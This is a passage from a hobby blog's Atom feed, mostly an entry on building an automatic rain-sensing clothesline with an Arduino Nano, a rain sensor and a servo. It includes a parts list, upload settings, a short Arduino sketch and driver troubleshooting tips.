  word is used. We do not promote, encourage, support or excite any illegal
  activity or hacking.
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/1246157368980741270/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2025/06/working-process-of-virtualization.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/1246157368980741270'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/1246157368980741270'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2025/06/working-process-of-virtualization.html' title='working process of virtualization technology'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgebxivLAUOOzIhOy9rjJzm9wqKMtkmyaSHT3r9oo7aPtgvJT9QOsNkZyWuOiDH64pI3s5i3px2bNf5qAMgqgIcCKLMNzg8GP9UcCiCazPTKfmRV9D-_Phs4R4ErwHh-1c_9a03Qf854moglRyARM1JHhCx16nKr77uMr7H1eWDxgLpkCyPYJBJ-r1LEyZ5/s72-w640-h360-c/virtualization.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-6221124376830968540</id><published>2025-05-10T01:43:00.000-07:00</published><updated>2025-05-10T01:43:42.601-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="IoT project"/><title type='text'>Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhB6g3kQQyNRGiVpVw4GGbor-rvR9Zeyc5LOGYtE7rny2EXjwQ_MlNCpl9lL54YpeZP8mFHGUmRXdVkzD0SXqAZMXgASKCGHO7le6JJPEkkuipiPeT5Y1rxb3UbNW8Q4cgE3H1J4gD4dsiagwqkNsFWSAK9yYN0B_tSIl0Ij0Xkon1A8CUy5vIr1uSq2Od/s1536/rain-detection-system-IOT.png&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      alt=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
      border=&quot;0&quot;
      data-original-height=&quot;1024&quot;
      data-original-width=&quot;1536&quot;
      height=&quot;426&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhB6g3kQQyNRGiVpVw4GGbor-rvR9Zeyc5LOGYtE7rny2EXjwQ_MlNCpl9lL54YpeZP8mFHGUmRXdVkzD0SXqAZMXgASKCGHO7le6JJPEkkuipiPeT5Y1rxb3UbNW8Q4cgE3H1J4gD4dsiagwqkNsFWSAK9yYN0B_tSIl0Ij0Xkon1A8CUy5vIr1uSq2Od/w640-h426/rain-detection-system-IOT.png&quot;
      title=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;
  Automatic Rain-Sensing Clothesline Using Arduino Nano&amp;nbsp;&amp;nbsp;
&lt;/h4&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    Have you ever left clothes outside to dry and rain suddenly spoiled them? In
    this project, I used my two days off to build an automatic rain-sensing
    clothesline using an Arduino Nano. This simple IoT project detects rain and
    pulls the clothesline using a servo motor, helping protect clothes from
    getting wet.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h4 style=&quot;text-align: left;&quot;&gt;Components Required &amp;amp; Their Purpose:&lt;/h4&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;# Arduino Nano &lt;/b&gt;– The brain of the project. It reads signals from the
    rain sensor and controls the servo motor based on the input.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
    &lt;a
      href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGpO73mTavg8Zwj-55jMs3zYu3zC2Rj6DOQtqwFNvx2nzNdX8ezS6dec8xEyjINHByNkwwMSSfzZVEw5l_DEINjlDF2HuN6kGk1wn0TfdUD50EVN4lf7jbO-bsquQv-kY49TDsBNiOg1saB1JO9X7x2AbxJFf6WCVTolk9s2aljNn78xiIsjtrWDXKzNRr/s600/arduino-nano.jpg&quot;
      style=&quot;margin-left: 1em; margin-right: 1em;&quot;
      &gt;&lt;img
        alt=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        border=&quot;0&quot;
        data-original-height=&quot;600&quot;
        data-original-width=&quot;600&quot;
        height=&quot;200&quot;
        src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGpO73mTavg8Zwj-55jMs3zYu3zC2Rj6DOQtqwFNvx2nzNdX8ezS6dec8xEyjINHByNkwwMSSfzZVEw5l_DEINjlDF2HuN6kGk1wn0TfdUD50EVN4lf7jbO-bsquQv-kY49TDsBNiOg1saB1JO9X7x2AbxJFf6WCVTolk9s2aljNn78xiIsjtrWDXKzNRr/w200-h200/arduino-nano.jpg&quot;
        title=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        width=&quot;200&quot;
    /&gt;&lt;/a&gt;
  &lt;/div&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;# Rain Sensor Module&lt;/b&gt; – Detects rain. It sends a digital signal (LOW)
    when water touches its sensing plate.
  &lt;/p&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
    &lt;a
      href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2N9KecTBYtBgYeM90mhHcjiPM3j7qs7d52a9HwEoSBigGBE_l2QuowsS8dGfcn5gKjz79wkmKc3zyMK_jB8v9SPM4CMTTY9oi2tTWxNAJ2Vrv4O9hcQZM8lqU_kN_Lzu_aSkBGFGi7HmHF3lMw_F5Bbh-lsuDh2s7wEwSTdsEPRzshMW451uROeK0aIa_/s713/rain-sensor-module.webp&quot;
      style=&quot;margin-left: 1em; margin-right: 1em;&quot;
      &gt;&lt;img
        alt=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        border=&quot;0&quot;
        data-original-height=&quot;713&quot;
        data-original-width=&quot;713&quot;
        height=&quot;200&quot;
        src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2N9KecTBYtBgYeM90mhHcjiPM3j7qs7d52a9HwEoSBigGBE_l2QuowsS8dGfcn5gKjz79wkmKc3zyMK_jB8v9SPM4CMTTY9oi2tTWxNAJ2Vrv4O9hcQZM8lqU_kN_Lzu_aSkBGFGi7HmHF3lMw_F5Bbh-lsuDh2s7wEwSTdsEPRzshMW451uROeK0aIa_/w200-h200/rain-sensor-module.webp&quot;
        title=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        width=&quot;200&quot;
    /&gt;&lt;/a&gt;
  &lt;/div&gt;
  &lt;br /&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;# Servo Motor (SG90)&lt;/b&gt; – Acts as the mechanical arm to pull or extend
    the clothesline. Controlled by PWM signals from Arduino.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
    &lt;a
      href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOttKAG_XlqFBjo-vAWngoftREpI0w4hw_iF6Z_D5PF1B2qAKuTtpypgNH_t9zd0noHZJDzpDoeuNXhLp5vusAR1nLhO_Fy0EmKoqgpRtmXnvn6G_h0eeH_b1RL_EbY6BnBFxaK6q7ydV2cJirlYsLvNHePe8Nl-2n-QlToa8nG5iPCSSa0SVUM7MOt_Bs/s700/servo-motor.webp&quot;
      style=&quot;margin-left: 1em; margin-right: 1em;&quot;
      &gt;&lt;img
        alt=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        border=&quot;0&quot;
        data-original-height=&quot;700&quot;
        data-original-width=&quot;700&quot;
        height=&quot;200&quot;
        src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOttKAG_XlqFBjo-vAWngoftREpI0w4hw_iF6Z_D5PF1B2qAKuTtpypgNH_t9zd0noHZJDzpDoeuNXhLp5vusAR1nLhO_Fy0EmKoqgpRtmXnvn6G_h0eeH_b1RL_EbY6BnBFxaK6q7ydV2cJirlYsLvNHePe8Nl-2n-QlToa8nG5iPCSSa0SVUM7MOt_Bs/w200-h200/servo-motor.webp&quot;
        title=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        width=&quot;200&quot;
    /&gt;&lt;/a&gt;
  &lt;/div&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;# Breadboard &lt;/b&gt;– Used to connect components without soldering. Helpful
    for quick prototyping.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
    &lt;a
      href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuF1V8LYPK9tMH07gFJhiYPHo41YjrdTTLeL_4qLIgdlGPPRL4-nGVqrGcrpMsT1P-gqSwuYWiq5zKV-xM-qLv_Avjn6hlTvYOi9kFWBm-xM1C5N5XUWJOE_Iw1JDuxbrRrzgsHlgpa2YETyYS_M_umXhe17C_9rka61LrAr1ON_acC-LlQdkaqWQza0l6/s700/breadboard.webp&quot;
      style=&quot;margin-left: 1em; margin-right: 1em;&quot;
      &gt;&lt;img
        alt=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        border=&quot;0&quot;
        data-original-height=&quot;700&quot;
        data-original-width=&quot;700&quot;
        height=&quot;200&quot;
        src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuF1V8LYPK9tMH07gFJhiYPHo41YjrdTTLeL_4qLIgdlGPPRL4-nGVqrGcrpMsT1P-gqSwuYWiq5zKV-xM-qLv_Avjn6hlTvYOi9kFWBm-xM1C5N5XUWJOE_Iw1JDuxbrRrzgsHlgpa2YETyYS_M_umXhe17C_9rka61LrAr1ON_acC-LlQdkaqWQza0l6/w200-h200/breadboard.webp&quot;
        title=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        width=&quot;200&quot;
    /&gt;&lt;/a&gt;
  &lt;/div&gt;
  &lt;br /&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;# Jumper Wires&lt;/b&gt; – Used to make all the electrical connections between
    Arduino, sensors, and motor.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
    &lt;a
      href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMtpIVFyRSgwWerKOydWsmcP8tRzGiyN4IzVYCGbdkEgFCY9aOgR4pEMiKVwlmtGCYhmHDy-J9aEE0SsG9pYokNvdc7EwQBrthB910ScybGCLTlSdEquyV9ejnrWuttptL7HZpV1EiAsoEjoeC_kZi54ime9BAltebbGof1eSuuFHMVjxJ-QzED-3nED8_/s700/jumper-wires.webp&quot;
      style=&quot;margin-left: 1em; margin-right: 1em;&quot;
      &gt;&lt;img
        alt=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        border=&quot;0&quot;
        data-original-height=&quot;700&quot;
        data-original-width=&quot;700&quot;
        height=&quot;200&quot;
        src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMtpIVFyRSgwWerKOydWsmcP8tRzGiyN4IzVYCGbdkEgFCY9aOgR4pEMiKVwlmtGCYhmHDy-J9aEE0SsG9pYokNvdc7EwQBrthB910ScybGCLTlSdEquyV9ejnrWuttptL7HZpV1EiAsoEjoeC_kZi54ime9BAltebbGof1eSuuFHMVjxJ-QzED-3nED8_/w200-h200/jumper-wires.webp&quot;
        title=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        width=&quot;200&quot;
    /&gt;&lt;/a&gt;
  &lt;/div&gt;
  &lt;br /&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;# USB Cable&lt;/b&gt; – Connects the Arduino Nano to the computer for uploading
    code and powering the board during testing.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;# Cardboard (70 cm x 50 cm)&lt;/b&gt; – Used to build the base and miniature
    model representing the clothesline system.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h4 style=&quot;text-align: left;&quot;&gt;Optional Upgrades:&lt;/h4&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;# LDR Module (for sunlight detection)&lt;/b&gt; – Detects the presence of
    light. Can be used to only extend the clothesline when there is sunlight.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
    &lt;a
      href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1TmFpnaFEctShyphenhyphen91Qlqhtwxfy8cUjR_MwHxoHN1GY5uaaVjllAxGxPK1R9rOl5J088ftp92ETTYVlUCUAyXq1MCV409_nXyX4sUDfPk2whfgOZfi08hDLdKXD8ZaJId3CWvCNEdKGZSUwdkfgwdF3MEj5oMZ9HYkWusxqV1PeKerylpWbiiLKhzbi3Ywa/s700/ldr-module-iot.webp&quot;
      style=&quot;margin-left: 1em; margin-right: 1em;&quot;
      &gt;&lt;img
        alt=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        border=&quot;0&quot;
        data-original-height=&quot;700&quot;
        data-original-width=&quot;700&quot;
        height=&quot;200&quot;
        src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1TmFpnaFEctShyphenhyphen91Qlqhtwxfy8cUjR_MwHxoHN1GY5uaaVjllAxGxPK1R9rOl5J088ftp92ETTYVlUCUAyXq1MCV409_nXyX4sUDfPk2whfgOZfi08hDLdKXD8ZaJId3CWvCNEdKGZSUwdkfgwdF3MEj5oMZ9HYkWusxqV1PeKerylpWbiiLKhzbi3Ywa/w200-h200/ldr-module-iot.webp&quot;
        title=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        width=&quot;200&quot;
    /&gt;&lt;/a&gt;
  &lt;/div&gt;
  &lt;br /&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;# Buzzer or LED (alert system) &lt;/b&gt;– Provides audio or visual alerts when
    rain is detected.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;# ESP8266 (for IoT notification feature) &lt;/b&gt;– Sends notifications to
    your smartphone using Wi-Fi.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h4 style=&quot;text-align: left;&quot;&gt;Working Principle:&lt;/h4&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    The rain sensor detects the presence of water on its surface. When rain is
    detected, it sends a signal to the Arduino, which then activates the servo
    motor. The servo motor is connected to a mini clothesline setup made of a
    horizontal rod that simulates pulling the clothes indoors. If optional
    components are used, such as an &lt;b&gt;&lt;i&gt;LDR&lt;/i&gt;&lt;/b
    &gt;, the system can also check for sunlight before deciding to extend the
    clothesline again.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;1273147351&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h4 style=&quot;text-align: left;&quot;&gt;Core Logic:&lt;/h4&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;# &lt;/b&gt;Reads the rain sensor (digital or analog pin).
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;#&lt;/b&gt; Controls a servo motor to pull clothes in when it rains.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;# &lt;/b&gt;Optionally, use an LDR sensor to check if it&#39;s daytime.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h4 style=&quot;text-align: left;&quot;&gt;This Exact Setup:&lt;/h4&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;b&gt;1. Select the Correct Port&lt;/b&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    Go to Tools &amp;gt; Port &amp;gt; COM4 (Arduino Nano) ← select that one
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;b&gt;2. Set the Correct Board &amp;amp; Processor&lt;/b&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;Tools &amp;gt; Board → Arduino Nano&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    Tools &amp;gt; Processor → ATmega328P (Old Bootloader) ← this is critical for
    most Nano clones
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;b&gt;3. Upload the Code&lt;/b&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;Now try clicking the Upload button.&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h4 style=&quot;text-align: left;&quot;&gt;
    Basic Arduino Code Example (Rain sensor + Servo):
  &lt;/h4&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;pre&gt;
  #include &amp;lt;Servo.h&amp;gt;

const int rainSensorPin = 2;   // Digital pin for rain sensor
const int servoPin = 9;        // Servo control pin

Servo clothesServo;

void setup() {
  pinMode(rainSensorPin, INPUT);
  clothesServo.attach(servoPin);
  Serial.begin(9600);
}

void loop() {
  int rainDetected = digitalRead(rainSensorPin);

  if (rainDetected == LOW) {  // LOW means rain is detected on most modules
    Serial.println(&quot;Rain Detected! Pulling clothes in.&quot;);
    clothesServo.write(0);    // Rotate servo to retract clothesline
  } else {
    Serial.println(&quot;No Rain. Clothes stay outside.&quot;);
    clothesServo.write(90);   // Extend clothesline
  }

  delay(1000);  // Wait before next check
}

  &lt;/pre&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
    &lt;a
      href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVHzwVPC_43D87qLdOmXwXwwzDHDdo0ONm3v5hyphenhyphenUda7Mi1u3GVcujijdRi3llJ9PeTigbwsPJnrkd7vWMao6RJnLaUxhlbQqnyt1mGTjB17edJTdunx2I08T2wc7GaZTAYcbza6LccfJPAq3FczpLU0jvzJ9FsMdWyOLjXhU-oR7jjN38gEyTp2O2fTZrp/s1806/Screenshot_20250510-134749-286.png&quot;
      imageanchor=&quot;1&quot;
      style=&quot;margin-left: 1em; margin-right: 1em;&quot;
      &gt;&lt;img
        alt=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        border=&quot;0&quot;
        data-original-height=&quot;1806&quot;
        data-original-width=&quot;1080&quot;
        height=&quot;320&quot;
        src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVHzwVPC_43D87qLdOmXwXwwzDHDdo0ONm3v5hyphenhyphenUda7Mi1u3GVcujijdRi3llJ9PeTigbwsPJnrkd7vWMao6RJnLaUxhlbQqnyt1mGTjB17edJTdunx2I08T2wc7GaZTAYcbza6LccfJPAq3FczpLU0jvzJ9FsMdWyOLjXhU-oR7jjN38gEyTp2O2fTZrp/w191-h320/Screenshot_20250510-134749-286.png&quot;
        title=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        width=&quot;191&quot;
    /&gt;&lt;/a&gt;
  &lt;/div&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;br /&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
    &lt;a
      href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzKpmcbxTkoMbJqzpdRrd7BUgmIuXSV5rWxmfY0UkBj2FXVfsBkSvhNVnvmEOZdHJJoGrzvt7T74yFKLeTBHQqyeN48uNgDbg9enwz6bhZCD79UsEJJaMc3tETpvipPNYm4lXjslr8dOrIBXr4Wh-MdGPUMkQKYvWPVSQp8xgMruSQ1SYr_-3M3IjrOJj0/s1882/Screenshot_20250510-134819-038.png&quot;
      imageanchor=&quot;1&quot;
      style=&quot;margin-left: 1em; margin-right: 1em;&quot;
      &gt;&lt;img
        alt=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        border=&quot;0&quot;
        data-original-height=&quot;1882&quot;
        data-original-width=&quot;1080&quot;
        height=&quot;320&quot;
        src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzKpmcbxTkoMbJqzpdRrd7BUgmIuXSV5rWxmfY0UkBj2FXVfsBkSvhNVnvmEOZdHJJoGrzvt7T74yFKLeTBHQqyeN48uNgDbg9enwz6bhZCD79UsEJJaMc3tETpvipPNYm4lXjslr8dOrIBXr4Wh-MdGPUMkQKYvWPVSQp8xgMruSQ1SYr_-3M3IjrOJj0/w184-h320/Screenshot_20250510-134819-038.png&quot;
        title=&quot;Automatic Rain-Sensing Clothesline Using Arduino Nano (DIY IoT Project)&quot;
        width=&quot;184&quot;
    /&gt;&lt;/a&gt;
  &lt;/div&gt;
  &lt;br /&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;3523395111&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;Note &lt;/b&gt;- If you are facing Driver issue like COM3, COM4 then simply you
    can go with this (&lt;a href=&quot;https://sparks.gogo.co.nz/ch340.html&quot;
      &gt;&lt;b&gt;https://sparks.gogo.co.nz/ch340.html&lt;/b&gt;&lt;/a
    &gt;) link and install and after installing boot your system.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    &lt;b&gt;Even make sure no Serial Monitor is open during upload.&lt;/b&gt;
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h4 style=&quot;text-align: left;&quot;&gt;How to Check:&lt;/h4&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    # Look at the top-right corner of the Arduino IDE.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    # If the Serial Monitor is open, you’ll see a window titled “Serial Monitor”
    (it looks like a terminal).
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    # Simply close that window by clicking the X at the top-right of it.
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h4 style=&quot;text-align: left;&quot;&gt;Shortcut:&lt;/h4&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;You can also close it by clicking:&lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;
    Tools &amp;gt; Serial Monitor (clicking it toggles it closed if it&#39;s open)
  &lt;/p&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;h4 style=&quot;text-align: left;&quot;&gt;Why it matters:&lt;/h4&gt;
  &lt;p data-pm-slice=&quot;1 1 []&quot;&gt;&lt;br /&gt;&lt;/p&gt;
